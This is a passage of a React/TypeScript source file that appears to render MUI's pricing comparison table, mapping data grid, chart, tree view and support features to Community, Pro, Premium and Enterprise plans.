variant=\"body2\"\n        sx={{\n          fontWeight: 'bold',\n          display: 'flex',\n          justifyContent: 'center',\n          alignItems: 'center',\n          pr: 0.5,\n        }}\n      >\n        <IconImage name={iconName} mode=\"\" loading=\"eager\" sx={{ mr: 1 }} /> {title}\n      </Typography>\n      {!disableDescription && (\n        <Typography\n          variant=\"body2\"\n          sx={{\n            color: 'text.secondary',\n            display: 'flex',\n            textAlign: 'center',\n            justifyContent: 'center',\n            alignItems: 'baseline',\n            mt: 1,\n            minHeight: { md: 63 },\n          }}\n        >\n          {description}\n        </Typography>\n      )}\n    </React.Fragment>\n  );\n}\n\nfunction Info(props: { value: React.ReactNode; metadata?: React.ReactNode }) {\n  const { value, metadata } = props;\n\n  return (\n    <React.Fragment>\n      {typeof value === 'string' ? (\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary', textAlign: 'center' }}>\n          {value}\n        </Typography>\n      ) : (\n        value\n      )}\n      {metadata && (\n        <Typography\n          variant=\"caption\"\n          sx={{\n            color: 'text.secondary',\n            fontWeight: 'normal',\n            display: 'block',\n            mt: 0.8,\n            textAlign: 'center',\n          }}\n        >\n          {metadata}\n        </Typography>\n      )}\n    </React.Fragment>\n  );\n}\n\nfunction ColumnHead({\n  label,\n  metadata,\n  tooltip,\n  href,\n}: {\n  label: React.ReactNode | string;\n  metadata?: string;\n  tooltip?: React.ReactNode | string;\n  href?: string;\n}) {\n  const text = (\n    <Typography\n      {...(href && {\n        component: Link,\n        href,\n        target: '_blank',\n      })}\n      variant=\"body2\"\n      sx={{\n        '&:hover > svg': { color: 'primary.main' },\n        ...(href && {\n          fontWeight: 500,\n          '&:hover > svg': {\n            opacity: 1,\n            ml: 0.5,\n          },\n        }),\n      }}\n    >\n      {label}{' '}\n      {href && (\n        <LaunchRounded color=\"primary\" sx={{ fontSize: 14, opacity: 0, transition: '0.3s' }} />\n      )}\n      {tooltip && (\n        <InfoOutlinedIcon\n          sx={{ fontSize: 16, verticalAlign: 'middle', ml: 0.5, color: 'text.secondary' }}\n        />\n      )}\n    </Typography>\n  );\n  return (\n    <Box\n      sx={{\n        px: 1,\n        alignSelf: 'center',\n        justifySelf: 'flex-start',\n        width: '100%',\n        height: '100%',\n        display: 'flex',\n        alignItems: 'center',\n      }}\n    >\n      {tooltip ? (\n        <Tooltip title={tooltip} placement=\"right\" describeChild>\n          {text}\n        </Tooltip>\n      ) : (\n        text\n      )}\n      {metadata && (\n        <Typography\n          variant=\"caption\"\n          sx={{ color: 'text.secondary', fontWeight: 'normal', display: 'block' }}\n        >\n          {metadata}\n        </Typography>\n      )}\n    </Box>\n  );\n}\n\nfunction ColumnHeadHighlight(props: BoxProps) {\n  return (\n    <Box\n      {...props}\n      sx={[\n        () => ({\n          p: 2,\n          pt: 1.5,\n          display: 'flex',\n          flexDirection: 'column',\n          position: 'relative',\n          borderRadius: '10px 10px 0 0',\n          borderWidth: '1px 1px 0 1px',\n          borderStyle: 'solid',\n          borderColor: 'grey.100',\n          background: 'linear-gradient(0deg, rgba(250, 250, 250, 1)  0%, rgba(255,255,255,0) 100%)',\n        }),\n        (theme) =>\n          theme.applyDarkStyles({\n            borderColor: 'primaryDark.700',\n            background: alpha(theme.palette.primaryDark[700], 0.3),\n          }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    />\n  );\n}\n\nfunction Cell({ highlighted = false, ...props }: BoxProps & { highlighted?: boolean }) {\n  return (\n    <Box\n      {...props}\n      sx={[\n        {\n          py: '16px',\n          minHeight: 54,\n          px: [1, 2],\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n          justifyContent: 'center',\n        },\n        (theme) => ({\n          ...(highlighted && {\n            borderWidth: '0 1px 0 1px',\n            borderStyle: 'solid',\n            borderColor: 'grey.100',\n            bgcolor: alpha(theme.palette.grey[50], 0.5),\n          }),\n        }),\n        (theme) =>\n          theme.applyDarkStyles({\n            ...(highlighted && {\n              borderColor: 'primaryDark.700',\n              bgcolor: alpha(theme.palette.primaryDark[700], 0.3),\n            }),\n          }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    />\n  );\n}\n\nfunction RowHead({\n  children,\n  startIcon,\n  ...props\n}: BoxProps & { startIcon?: React.ReactElement<unknown> }) {\n  return (\n    <Box\n      {...props}\n      sx={[\n        {\n          justifyContent: 'flex-start',\n          borderRadius: '12px 0 0 12px',\n          p: 1,\n          transition: 'none',\n          typography: 'body2',\n          fontWeight: 700,\n          display: 'flex',\n          alignItems: 'center',\n          bgcolor: 'grey.50',\n          border: '1px solid',\n          borderColor: 'divider',\n        },\n        (theme) =>\n          theme.applyDarkStyles({\n            bgcolor: 'primaryDark.800',\n          }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    >\n      {startIcon && <Box sx={{ lineHeight: 0, mr: 1 }}>{startIcon}</Box>}\n      {children}\n    </Box>\n  );\n}\n\nconst rowHeaders: Record<string, React.ReactNode> = {\n  // Core\n  'Base UI': (\n    <ColumnHead\n      label=\"Base UI\"\n      tooltip=\"A library of headless ('unstyled') React UI components and low-level hooks, available in @base-ui/react.\"\n    />\n  ),\n  'MUI System': (\n    <ColumnHead\n      label=\"MUI System\"\n      tooltip=\"CSS utilities for rapidly laying out custom designs, available in @mui/system.\"\n    />\n  ),\n  'Material UI': (\n    <ColumnHead\n      label=\"Material UI\"\n      tooltip=\"A library of React UI components that implements Google's Material Design, available in @mui/material.\"\n    />\n  ),\n  'Joy UI': (\n    <ColumnHead\n      label=\"Joy UI\"\n      tooltip=\"A library of beautifully designed React UI components, available in @mui/joy.\"\n    />\n  ),\n  // Advanced\n  'data-grid/column-groups': (\n    <ColumnHead label=\"Column groups\" href=\"/x/react-data-grid/column-groups/\" />\n  ),\n  'data-grid/column-spanning': (\n    <ColumnHead label=\"Column spanning\" href=\"/x/react-data-grid/column-spanning/\" />\n  ),\n  'data-grid/column-resizing': (\n    <ColumnHead label=\"Column resizing\" href=\"/x/react-data-grid/column-dimensions/#resizing\" />\n  ),\n  'data-grid/column-autosizing': (\n    <ColumnHead label=\"Column autosizing\" href=\"/x/react-data-grid/column-dimensions/#autosizing\" />\n  ),\n  'data-grid/column-reorder': (\n    <ColumnHead label=\"Column ordering\" href=\"/x/react-data-grid/column-ordering/\" />\n  ),\n  'data-grid/column-pinning': (\n    <ColumnHead label=\"Column pinning\" href=\"/x/react-data-grid/column-pinning/\" />\n  ),\n  'data-grid/column-sorting': (\n    <ColumnHead label=\"Column sorting\" href=\"/x/react-data-grid/sorting/\" />\n  ),\n  'data-grid/multi-column-sorting': (\n    <ColumnHead label=\"Multi-column sorting\" href=\"/x/react-data-grid/sorting/#multi-sorting\" />\n  ),\n  'data-grid/row-height': <ColumnHead label=\"Row height\" href=\"/x/react-data-grid/row-height/\" />,\n  'data-grid/row-spanning': (\n    <ColumnHead label=\"Row spanning\" href=\"/x/react-data-grid/row-spanning/\" />\n  ),\n  'data-grid/row-reordering': (\n    <ColumnHead label=\"Row reordering\" href=\"/x/react-data-grid/row-ordering/\" />\n  ),\n  'data-grid/row-pinning': (\n    <ColumnHead label=\"Row pinning\" href=\"/x/react-data-grid/row-pinning/\" />\n  ),\n  'data-grid/row-selection': (\n    <ColumnHead label=\"Row selection\" href=\"/x/react-data-grid/row-selection/\" />\n  ),\n  'data-grid/row-multiselection': (\n    <ColumnHead\n      label=\"Multi-row selection\"\n      href=\"/x/react-data-grid/row-selection/#multiple-row-selection\"\n    />\n  ),\n  'data-grid/row-cell-selection': (\n    <ColumnHead label=\"Cell selection (and Range)\" href=\"/x/react-data-grid/cell-selection/\" />\n  ),\n  'data-grid/filter-column': (\n    <ColumnHead label=\"Column filters\" href=\"/x/react-data-grid/filtering/\" />\n  ),\n  'data-grid/filter-quick': (\n    <ColumnHead label=\"Quick filter (Search)\" href=\"/x/react-data-grid/filtering/quick-filter/\" />\n  ),\n  'data-grid/header-filters': (\n    <ColumnHead label=\"Header filters\" href=\"/x/react-data-grid/filtering/header-filters/\" />\n  ),\n  'data-grid/filter-multicolumn': (\n    <ColumnHead label=\"Multi-column filtering\" href=\"/x/react-data-grid/filtering/multi-filters/\" />\n  ),\n  'data-grid/pagination': <ColumnHead label=\"Pagination\" href=\"/x/react-data-grid/pagination/\" />,\n  'data-grid/pagination-large': (\n    <ColumnHead\n      label=\"Pagination > 100 rows per page\"\n      href=\"/x/react-data-grid/pagination/#size-of-the-page\"\n    />\n  ),\n  'data-grid/edit-row': (\n    <ColumnHead label=\"Row editing\" href=\"/x/react-data-grid/editing/#row-editing\" />\n  ),\n  'data-grid/edit-cell': (\n    <ColumnHead label=\"Cell editing\" href=\"/x/react-data-grid/editing/#cell-editing\" />\n  ),\n  'data-grid/file-csv': (\n    <ColumnHead label=\"CSV export\" href=\"/x/react-data-grid/export/#csv-export\" />\n  ),\n  'data-grid/file-print': (\n    <ColumnHead label=\"Print\" href=\"/x/react-data-grid/export/#print-export\" />\n  ),\n  'data-grid/file-clipboard-copy': (\n    <ColumnHead label=\"Clipboard copy\" href=\"/x/react-data-grid/clipboard/#clipboard-copy\" />\n  ),\n  'data-grid/file-clipboard-paste': (\n    <ColumnHead label=\"Clipboard paste\" href=\"/x/react-data-grid/clipboard/#clipboard-paste\" />\n  ),\n  'data-grid/file-excel': (\n    <ColumnHead label=\"Excel export\" href=\"/x/react-data-grid/export/#excel-export\" />\n  ),\n  'data-grid/customizable-components': (\n    <ColumnHead label=\"Customizable components\" href=\"/x/react-data-grid/components/\" />\n  ),\n  'data-grid/virtualize-column': (\n    <ColumnHead\n      label=\"Column virtualization\"\n      href=\"/x/react-data-grid/virtualization/#column-virtualization\"\n    />\n  ),\n  'data-grid/virtualize-row': (\n    <ColumnHead\n      label=\"Row virtualization > 100 rows\"\n      href=\"/x/react-data-grid/virtualization/#row-virtualization\"\n    />\n  ),\n  'data-grid/tree-data': <ColumnHead label=\"Tree data\" href=\"/x/react-data-grid/tree-data/\" />,\n  'data-grid/master-detail': (\n    <ColumnHead label=\"Master detail\" href=\"/x/react-data-grid/master-detail/\" />\n  ),\n  'data-grid/grouping': (\n    <ColumnHead label=\"Row grouping\" href=\"https://mui.com/x/react-data-grid/row-grouping/\" />\n  ),\n  'data-grid/aggregation': (\n    <ColumnHead label=\"Aggregation\" href=\"/x/react-data-grid/aggregation/\" />\n  ),\n  'data-grid/pivoting': <ColumnHead label=\"Pivoting\" href=\"/x/react-data-grid/pivoting/\" />,\n  'data-grid/accessibility': (\n    <ColumnHead label=\"Accessibility\" href=\"/x/react-data-grid/accessibility/\" />\n  ),\n  'data-grid/keyboard-nav': (\n    <ColumnHead\n      label=\"Keyboard navigation\"\n      href=\"/x/react-data-grid/accessibility/#keyboard-navigation\"\n    />\n  ),\n  'data-grid/localization': (\n    <ColumnHead label=\"Localization\" href=\"/x/react-data-grid/localization/\" />\n  ),\n  'date-picker/simple': (\n    <ColumnHead label=\"Date and Time Pickers\" href=\"/x/react-date-pickers/date-picker/\" />\n  ),\n  'date-picker/range': (\n    <ColumnHead\n      label=\"Date and Time Range Pickers\"\n      href=\"/x/react-date-pickers/date-range-picker/\"\n    />\n  ),\n  // charts - components\n  'charts/line': <ColumnHead label=\"Line chart\" href=\"/x/react-charts/lines/\" />,\n  'charts/bar': <ColumnHead label=\"Bar chart\" href=\"/x/react-charts/bars/\" />,\n  'charts/scatter': <ColumnHead label=\"Scatter chart\" href=\"/x/react-charts/scatter/\" />,\n  'charts/pie': <ColumnHead label=\"Pie chart\" href=\"/x/react-charts/pie/\" />,\n  'charts/sparkline': <ColumnHead label=\"Sparkline\" href=\"/x/react-charts/sparkline/\" />,\n  'charts/gauge': <ColumnHead label=\"Gauge\" href=\"/x/react-charts/gauge/\" />,\n  'charts/heatmap': <ColumnHead label=\"Heatmap\" href=\"/x/react-charts/heatmap/\" />,\n  'charts/treemap': <ColumnHead label=\"Treemap\" href=\"/x/react-charts/treemap/\" />,\n  'charts/radar': <ColumnHead label=\"Radar\" href=\"/x/react-charts/radar/\" />,\n  'charts/funnel': <ColumnHead label=\"Funnel\" href=\"/x/react-charts/funnel/\" />,\n  'charts/sankey': <ColumnHead label=\"Sankey\" href=\"/x/react-charts/sankey/\" />,\n  'charts/gantt': <ColumnHead label=\"Gantt\" href=\"/x/react-charts/gantt/\" />,\n  'charts/gantt-advanced': <ColumnHead label=\"Advanced Gantt\" />,\n  'charts/candlestick': <ColumnHead label=\"Candlestick\" />,\n  'charts/large-dataset': <ColumnHead label=\"Large dataset with canvas\" />,\n  // charts - features\n  'charts/legend': <ColumnHead label=\"Legend\" href=\"/x/react-charts/legend/\" />,\n  'charts/tooltip': <ColumnHead label=\"Tooltip\" href=\"/x/react-charts/tooltip/\" />,\n  'charts/zoom-and-pan': <ColumnHead label=\"Zoom & Pan\" href=\"/x/react-charts/zoom-and-pan/\" />,\n  'charts/export': <ColumnHead label=\"Export\" href=\"/x/react-charts/export/\" />,\n  // charts - datagrid\n  'charts/cell-with-charts': (\n    <ColumnHead label=\"Cell with chart\" href=\"/x/react-data-grid/custom-columns/#sparkline\" />\n  ),\n  'charts/filter-interaction': <ColumnHead label=\"Row filtering\" />,\n  'charts/selection-interaction': <ColumnHead label=\"Range selection\" />,\n  // Treeview - components\n  'tree-view/simple-tree-view': (\n    <ColumnHead label=\"Simple Tree View\" href=\"/x/react-tree-view/simple-tree-view/items/\" />\n  ),\n  'tree-view/rich-tree-view': (\n    <ColumnHead label=\"Rich Tree View\" href=\"/x/react-tree-view/rich-tree-view/items/\" />\n  ),\n\n  // Treeview - advanced features\n  'tree-view/selection': (\n    <ColumnHead\n      label=\"Item Selection\"\n      href=\"/x/react-tree-view/simple-tree-view/selection/#single-selection\"\n    />\n  ),\n  'tree-view/multi-selection': (\n    <ColumnHead\n      label=\"Multi Selection\"\n      href=\"/x/react-tree-view/simple-tree-view/selection/#multi-selection\"\n    />\n  ),\n  'tree-view/inline-editing': (\n    <ColumnHead label=\"Inline label editing\" href=\"/x/react-tree-view/rich-tree-view/editing/\" />\n  ),\n  'tree-view/drag-to-reorder': (\n    <ColumnHead label=\"Drag to reorder\" href=\"/x/react-tree-view/rich-tree-view/ordering/\" />\n  ),\n  'tree-view/virtualization': <ColumnHead label=\"Virtualization\" />,\n\n  'mui-x-production': <ColumnHead label=\"Perpetual use in production\" />,\n  'mui-x-development': <ColumnHead label=\"Development license\" tooltip=\"For active development\" />,\n  'mui-x-development-perpetual': (\n    <ColumnHead label=\"Development license\" tooltip=\"For active development\" />\n  ),\n  'mui-x-updates': <ColumnHead label=\"Access to new releases\" />,\n  // Support\n  'core-support': (\n    <ColumnHead\n      {...{\n        label: (\n          <React.Fragment>\n            Technical support for <Box component=\"span\" sx={{ display: ['none', 'block'] }} />\n            MUI Core\n          </React.Fragment>\n        ),\n        tooltip:\n          'Support for MUI Core (for example Material UI) is provided by the community. MUI Core maintainers focus on solving root issues to support the community at large.',\n      }}\n    />\n  ),\n  'x-support': (\n    <ColumnHead\n      {...{\n        label: (\n          <React.Fragment>\n            Technical support for <Box component=\"span\" sx={{ display: ['none', 'block'] }} />\n            MUI X\n          </React.Fragment>\n        ),\n        tooltip:\n          'You can ask for technical support, report bugs and submit unlimited feature requests to the advanced components. We take your subscription plan as one of the prioritization criteria.',\n      }}\n    />\n  ),\n  'priority-support': (\n    <ColumnHead\n      {...{\n        label: 'Priority Support',\n        tooltip: (\n          <React.Fragment>\n            The highest level of support with 1 business day response time, pre-screening and issue\n            escalation. More details in the{' '}\n            <Link\n              href=\"https://mui.com/legal/technical-support-sla/#priority-support\"\n              target=\"_blank\"\n              color=\"inherit\"\n              underline=\"always\"\n              rel=\"noopener\"\n            >\n              Technical Support SLA\n            </Link>\n            .\n          </React.Fragment>\n        ),\n      }}\n    />\n  ),\n  'tech-advisory': (\n    <ColumnHead\n      {...{\n        label: 'Technical advisory',\n        metadata: 'Subject to fair use policy',\n        tooltip: 'Get the advice you need, from the people who build the product.',\n      }}\n    />\n  ),\n  'support-duration': (\n    <ColumnHead\n      {...{ label: 'Support duration', tooltip: 'Covers the duration of your subscription.' }}\n    />\n  ),\n  'response-time': (\n    <ColumnHead\n      {...{\n        label: 'Guaranteed response time',\n        tooltip: 'Maximum lead time for each response, only working days are counted.',\n      }}\n    />\n  ),\n  'pre-screening': (\n    <ColumnHead\n      {...{\n        label: 'Pre-screening',\n        tooltip:\n          'Ensure we have enough details in the ticket you submitted so our support team can work on it.',\n      }}\n    />\n  ),\n  'issue-escalation': (\n    <ColumnHead\n      {...{\n        label: 'Issue escalation',\n        tooltip: 'Escalate your tickets to highest priority in our support queue.',\n      }}\n    />\n  ),\n  'security-questionnaire': (\n    <ColumnHead\n      {...{\n        label: (\n          <React.Fragment>\n            Security questionnaire & <Box component=\"span\" sx={{ display: ['none', 'block'] }} />\n            custom agreements\n          </React.Fragment>\n        ),\n      }}\n    />\n  ),\n  'customer-success': (\n    <ColumnHead\n      {...{\n        label: 'Customer Success Manager',\n        tooltip: 'A dedicated person to help you get the most out of MUI products.',\n      }}\n    />\n  ),\n};\n\nconst yes = <IconImage name=\"pricing/yes\" title=\"Included\" />;\nconst pending = <IconImage name=\"pricing/time\" title=\"Work in progress\" />;\nconst no = <IconImage name=\"pricing/no\" title=\"Not included\" />;\nconst toBeDefined = (\n  <Typography\n    component={Link}\n    href=\"https://forms.gle/19vN87eBvmXPjBVp6\"\n    target=\"_blank\"\n    variant=\"body2\"\n    sx={{ '&:hover > svg': { color: 'primary.main', opacity: 1 }, fontWeight: 500, pl: '16px' }}\n    title=\"To be determined\"\n  >\n    TBD\n    <LaunchRounded color=\"primary\" sx={{ fontSize: 14, ml: 0.5, opacity: 0, transition: '0.3s' }} />\n  </Typography>\n);\n\nconst communityData: Record<string, React.ReactNode> = {\n  // Core open-source libraries\n  'Base UI': yes,\n  'MUI System': yes,\n  'Material UI': yes,\n  'Joy UI': yes,\n  // MUI X\n  // data grid - columns\n  'data-grid/column-groups': yes,\n  'data-grid/column-spanning': yes,\n  'data-grid/column-resizing': yes,\n  'data-grid/column-autosizing': yes,\n  'data-grid/column-reorder': no,\n  'data-grid/column-pinning': no,\n  // data grid - rows\n  'data-grid/row-height': yes,\n  'data-grid/row-spanning': yes,\n  'data-grid/row-reordering': no,\n  'data-grid/row-pinning': no,\n  'data-grid/row-selection': yes,\n  'data-grid/row-multiselection': no,\n  'data-grid/row-cell-selection': no,\n  // data grid - filter\n  'data-grid/filter-quick': yes,\n  'data-grid/filter-column': yes,\n  'data-grid/header-filters': no,\n  'data-grid/filter-multicolumn': no,\n  'data-grid/column-sorting': yes,\n  'data-grid/multi-column-sorting': no,\n  'data-grid/pagination': yes,\n  'data-grid/pagination-large': no,\n  // data grid - edit\n  'data-grid/edit-row': yes,\n  'data-grid/edit-cell': yes,\n  // data grid - export\n  'data-grid/file-csv': yes,\n  'data-grid/file-print': yes,\n  'data-grid/file-clipboard-copy': yes,\n  'data-grid/file-clipboard-paste': no,\n  'data-grid/file-excel': no,\n  'data-grid/customizable-components': yes,\n  'data-grid/virtualize-column': yes,\n  'data-grid/virtualize-row': no,\n  'data-grid/tree-data': no,\n  'data-grid/master-detail': no,\n  'data-grid/grouping': no,\n  'data-grid/aggregation': no,\n  'data-grid/pivoting': no,\n  'data-grid/accessibility': yes,\n  'data-grid/keyboard-nav': yes,\n  'data-grid/localization': yes,\n  // picker\n  'date-picker/simple': yes,\n  'date-picker/range': no,\n  // charts - components\n  'charts/line': yes,\n  'charts/bar': yes,\n  'charts/scatter': yes,\n  'charts/pie': yes,\n  'charts/sparkline': yes,\n  'charts/gauge': yes,\n  'charts/heatmap': no,\n  'charts/treemap': no,\n  'charts/radar': yes,\n  'charts/funnel': no,\n  'charts/sankey': no,\n  'charts/gantt': no,\n  'charts/gantt-advanced': no,\n  'charts/candlestick': no,\n  'charts/large-dataset': no,\n  // charts - features\n  'charts/legend': yes,\n  'charts/tooltip': yes,\n  'charts/zoom-and-pan': no,\n  'charts/export': no,\n  // charts - datagrid\n  'charts/cell-with-charts': yes,\n  'charts/filter-interaction': no,\n  'charts/selection-interaction': no,\n  // Tree View\n  'tree-view/simple-tree-view': yes,\n  'tree-view/rich-tree-view': yes,\n  'tree-view/selection': yes,\n  'tree-view/multi-selection': yes,\n  'tree-view/inline-editing': yes,\n  'tree-view/drag-to-reorder': no,\n  'tree-view/virtualization': no,\n  // general\n  'mui-x-production': yes,\n  'mui-x-updates': yes,\n  'mui-x-development': yes,\n  'mui-x-development-perpetual': yes,\n  // Support\n  'core-support': <Info value=\"Community\" />,\n  'x-support': <Info value=\"Community\" />,\n  'priority-support': no,\n  'customer-success': no,\n  'tech-advisory': no,\n  'support-duration': no,\n  'response-time': no,\n  'pre-screening': no,\n  'issue-escalation': no,\n  'security-questionnaire': no,\n};\n\nconst proData: Record<string, React.ReactNode> = {\n  // Core\n  'Base UI': yes,\n  'MUI System': yes,\n  'Material UI': yes,\n  'Joy UI': yes,\n  // MUI X\n  // data grid - columns\n  'data-grid/column-groups': yes,\n  'data-grid/column-spanning': yes,\n  'data-grid/column-resizing': yes,\n  'data-grid/column-autosizing': yes,\n  'data-grid/column-reorder': yes,\n  'data-grid/column-pinning': yes,\n  // data grid - rows\n  'data-grid/row-height': yes,\n  'data-grid/row-spanning': yes,\n  'data-grid/row-reordering': yes,\n  'data-grid/row-pinning': yes,\n  'data-grid/row-selection': yes,\n  'data-grid/row-multiselection': yes,\n  'data-grid/row-cell-selection': no,\n  // data grid - filter\n  'data-grid/filter-quick': yes,\n  'data-grid/filter-column': yes,\n  'data-grid/header-filters': yes,\n  'data-grid/filter-multicolumn': yes,\n  'data-grid/column-sorting': yes,\n  'data-grid/multi-column-sorting': yes,\n  'data-grid/pagination': yes,\n  'data-grid/pagination-large': yes,\n  // data grid - edit\n  'data-grid/edit-row': yes,\n  'data-grid/edit-cell': yes,\n  // data grid - export\n  'data-grid/file-csv': yes,\n  'data-grid/file-print': yes,\n  'data-grid/file-clipboard-copy': yes,\n  'data-grid/file-clipboard-paste': no,\n  'data-grid/file-excel': no,\n  'data-grid/customizable-components': yes,\n  'data-grid/virtualize-column': yes,\n  'data-grid/virtualize-row': yes,\n  'data-grid/tree-data': yes,\n  'data-grid/master-detail': yes,\n  'data-grid/grouping': no,\n  'data-grid/aggregation': no,\n  'data-grid/pivoting': no,\n  'data-grid/accessibility': yes,\n  'data-grid/keyboard-nav': yes,\n  'data-grid/localization': yes,\n  'date-picker/simple': yes,\n  'date-picker/range': yes,\n\n  // charts - components\n  'charts/line': yes,\n  'charts/bar': yes,\n  'charts/scatter': yes,\n  'charts/pie': yes,\n  'charts/sparkline': yes,\n  'charts/gauge': yes,\n  'charts/heatmap': yes,\n  'charts/treemap': pending,\n\n  'charts/radar': yes,\n  'charts/funnel': yes,\n  'charts/sankey': yes,\n  'charts/gantt': no,\n  'charts/gantt-advanced': no,\n  'charts/candlestick': no,\n  'charts/large-dataset': no,\n  // charts - features\n  'charts/legend': yes,\n  'charts/tooltip': yes,\n  'charts/zoom-and-pan': yes,\n  'charts/export': yes,\n  // charts - datagrid\n  'charts/cell-with-charts': yes,\n  'charts/filter-interaction': pending,\n  'charts/selection-interaction': no,\n  // Tree View\n  'tree-view/simple-tree-view': yes,\n  'tree-view/rich-tree-view': yes,\n  'tree-view/selection': yes,\n  'tree-view/multi-selection': yes,\n  'tree-view/inline-editing': yes,\n  'tree-view/drag-to-reorder': yes,\n  'tree-view/virtualization': pending,\n  // general\n  'mui-x-production': yes,\n  'mui-x-development': <Info value=\"1 year\" />,\n  'mui-x-development-perpetual': <Info value=\"Perpetual\" />,\n  'mui-x-updates': <Info value=\"1 year\" />,\n  // Support\n  'core-support': <Info value=\"Community\" />,\n  'x-support': <Info value={yes} metadata=\"Priority over Community\" />,\n  'priority-support': no,\n  'customer-success': no,\n  'tech-advisory': no,\n  'support-duration': <Info value=\"1 year\" />,\n  'response-time': no,\n  'pre-screening': no,\n  'issue-escalation': no,\n  'security-questionnaire': <Info value=\"Available for orders of $12,000 and above\" />,\n};\n\nconst premiumData: Record<string, React.ReactNode> = {\n  // Core\n  'Base UI': yes,\n  'MUI System': yes,\n  'Material UI': yes,\n  'Joy UI': yes,\n  // MUI X\n  // data grid - columns\n  'data-grid/column-groups': yes,\n  'data-grid/column-spanning': yes,\n  'data-grid/column-resizing': yes,\n  'data-grid/column-autosizing': yes,\n  'data-grid/column-reorder': yes,\n  'data-grid/column-pinning': yes,\n  // data grid - rows\n  'data-grid/row-height': yes,\n  'data-grid/row-spanning': yes,\n  'data-grid/row-reordering': yes,\n  'data-grid/row-pinning': yes,\n  'data-grid/row-selection': yes,\n  'data-grid/row-multiselection': yes,\n  'data-grid/row-cell-selection': yes,\n  // data grid - filter\n  'data-grid/filter-quick': yes,\n  'data-grid/filter-column': yes,\n  'data-grid/header-filters': yes,\n  'data-grid/filter-multicolumn': yes,\n  'data-grid/column-sorting': yes,\n  'data-grid/multi-column-sorting': yes,\n  'data-grid/pagination': yes,\n  'data-grid/pagination-large': yes,\n  // data grid - edit\n  'data-grid/edit-row': yes,\n  'data-grid/edit-cell': yes,\n  // data grid - export\n  'data-grid/file-csv': yes,\n  'data-grid/file-print': yes,\n  'data-grid/file-clipboard-copy': yes,\n  'data-grid/file-clipboard-paste': yes,\n  'data-grid/file-excel': yes,\n  'data-grid/customizable-components': yes,\n  'data-grid/virtualize-column': yes,\n  'data-grid/virtualize-row': yes,\n  'data-grid/tree-data': yes,\n  'data-grid/master-detail': yes,\n  'data-grid/grouping': yes,\n  'data-grid/aggregation': yes,\n  'data-grid/pivoting': yes,\n  'data-grid/accessibility': yes,\n  'data-grid/keyboard-nav': yes,\n  'data-grid/localization': yes,\n  'date-picker/simple': yes,\n  'date-picker/range': yes,\n\n  // charts - components\n  'charts/line': yes,\n  'charts/bar': yes,\n  'charts/scatter': yes,\n  'charts/pie': yes,\n  'charts/sparkline': yes,\n  'charts/gauge': yes,\n  'charts/heatmap': yes,\n  'charts/treemap': pending,\n  'charts/radar': yes,\n  'charts/funnel': yes,\n  'charts/sankey': yes,\n  'charts/gantt': pending,\n  'charts/gantt-advanced': toBeDefined,\n  'charts/candlestick': toBeDefined,\n  'charts/large-dataset': toBeDefined,\n  // charts - features\n  'charts/legend': yes,\n  'charts/tooltip': yes,\n  'charts/zoom-and-pan': yes,\n  'charts/export': yes,\n  // charts - datagrid\n  'charts/cell-with-charts': yes,\n  'charts/filter-interaction': pending,\n  'charts/selection-interaction': pending,\n  // Tree View\n  'tree-view/simple-tree-view': yes,\n  'tree-view/rich-tree-view': yes,\n  'tree-view/selection': yes,\n  'tree-view/multi-selection': yes,\n  'tree-view/inline-editing': yes,\n  'tree-view/drag-to-reorder': yes,\n  'tree-view/virtualization': pending,\n  // general\n  'mui-x-production': yes,\n  'mui-x-development': <Info value=\"1 year\" />,\n  'mui-x-development-perpetual': <Info value=\"Perpetual\" />,\n  'mui-x-updates': <Info value=\"1 year\" />,\n  // Support\n  'core-support': <InfoPrioritySupport value={yes} value2=\"Community\" />,\n  'x-support': <Info value={yes} metadata=\"Priority over Pro\" />,\n  'multi-app': <MultiAppSwitchTable />,\n  'tech-advisory': pending,\n  'support-duration': <Info value=\"1 year\" />,\n  'response-time': <InfoPrioritySupport value={yes} metadata=\"1 business day\" value2={no} />,\n  'pre-screening': <InfoPrioritySupport value={yes} metadata=\"4 hours\" value2={no} />,\n  'issue-escalation': <InfoPrioritySupport value={yes} value2={no} />,\n  'security-questionnaire': <Info value=\"Available for orders of $12,000 and above\" />,\n  'customer-success': no,\n};\n\nconst enterpriseData: Record<string, React.ReactNode> = {\n  // Core\n  'Base UI': yes,\n  'MUI System': yes,\n  'Material UI': yes,\n  'Joy UI': yes,\n  // MUI X\n  // data grid - columns\n  'data-grid/column-groups': yes,\n  'data-grid/column-spanning': yes,\n  'data-grid/column-resizing': yes,\n  'data-grid/column-autosizing': yes,\n  'data-grid/column-reorder': yes,\n  'data-grid/column-pinning': yes,\n  // data grid - rows\n  'data-grid/row-height': yes,\n  'data-grid/row-spanning': yes,\n  'data-grid/row-reordering': yes,\n  'data-grid/row-pinning': yes,\n  'data-grid/row-selection': yes,\n  'data-grid/row-multiselection': yes,\n  'data-grid/row-cell-selection': yes,\n  // data grid - filter\n  'data-grid/filter-quick': yes,\n  'data-grid/filter-column': yes,\n  'data-grid/header-filters': yes,\n  'data-grid/filter-multicolumn': yes,\n  'data-grid/column-sorting': yes,\n  'data-grid/multi-column-sorting': yes,\n  'data-grid/pagination': yes,\n  'data-grid/pagination-large': yes,\n  // data grid - edit\n  'data-grid/edit-row': yes,\n  'data-grid/edit-cell': yes,\n  // data grid - export\n  'data-grid/file-csv': yes,\n  'data-grid/file-print': yes,\n  'data-grid/file-clipboard-copy': yes,\n  'data-grid/file-clipboard-paste': yes,\n  'data-grid/file-excel': yes,\n  'data-grid/customizable-components': yes,\n  'data-grid/virtualize-column': yes,\n  'data-grid/virtualize-row': yes,\n  'data-grid/tree-data': yes,\n  'data-grid/master-detail': yes,\n  'data-grid/grouping': yes,\n  'data-grid/aggregation': yes,\n  'data-grid/pivoting': yes,\n  'data-grid/accessibility': yes,\n  'data-grid/keyboard-nav': yes,\n  'data-grid/localization': yes,\n  'date-picker/simple': yes,\n  'date-picker/range': yes,\n\n  // charts - components\n  'charts/line': yes,\n  'charts/bar': yes,\n  'charts/scatter': yes,\n  'charts/pie': yes,\n  'charts/sparkline': yes,\n  'charts/gauge': yes,\n  'charts/heatmap': yes,\n  'charts/treemap': pending,\n  'charts/radar': yes,\n  'charts/funnel': yes,\n  'charts/sankey': yes,\n  'charts/gantt': pending,\n  'charts/gantt-advanced': toBeDefined,\n  